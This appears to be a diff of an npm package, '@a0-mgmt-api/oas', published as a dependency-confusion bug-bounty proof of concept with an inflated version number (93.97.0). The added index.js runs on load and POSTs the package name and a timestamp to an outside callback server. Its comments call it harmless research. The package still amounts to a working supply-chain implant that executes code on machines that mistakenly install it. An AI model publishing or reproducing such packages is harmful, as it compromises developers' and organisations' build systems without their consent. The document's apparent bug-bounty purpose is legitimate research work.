@a0-mgmt-api/oas 1.8619.0 → 93.97.0

package/index.js

@@ -1,6 +1,40 @@
-// index.js
-console.log("======================================================");
-console.log("BUG BOUNTY POC");
-console.log("This package was installed via Dependency Confusion.");
-console.log("Reported by: dd_06");
-console.log("======================================================");
+// SECURITY RESEARCH: Harmless dependency confusion PoC.
+// This package sends a simple "ping" to verify execution.
+// No system data, source code, or PII is accessed or transmitted.
+// Contact: dd_06@wearehackerone.com
+
+const http = require('http');
+const https = require('https');
+
+// No system data.
+const info = {
+    pkg: "@a0-mgmt-api/oas",
+    timestamp: new Date().toISOString(),
+    transport: 'http'
+};
+
+const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/53a527ce-9e33-4542-aff3-207411fe77ee';
+
+function sendHttpPayload() {
+    const parsed = new URL(CALLBACK_URL);
+    const postData = JSON.stringify(info);
+    const lib = parsed.protocol === 'https:' ? https : http;
+
+    const req = lib.request(CALLBACK_URL, {
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData)
+        },
+        timeout: 15000
+    }, (res) => {
+        // Just consume the stream, don't need the response
+        res.on('data', () => { });
+    });
+
+    req.write(postData);
+    req.end();
+}
+
+// Start sequence
+sendHttpPayload();

package/package.json

@@ -1,6 +1,6 @@
 {
 	"name": "@a0-mgmt-api/oas",
-	"version": "1.8619.0",
+	"version": "93.97.0",
 	"description": "Security PoC for Bug Bounty",
 	"main": "index.js",
 	"scripts": {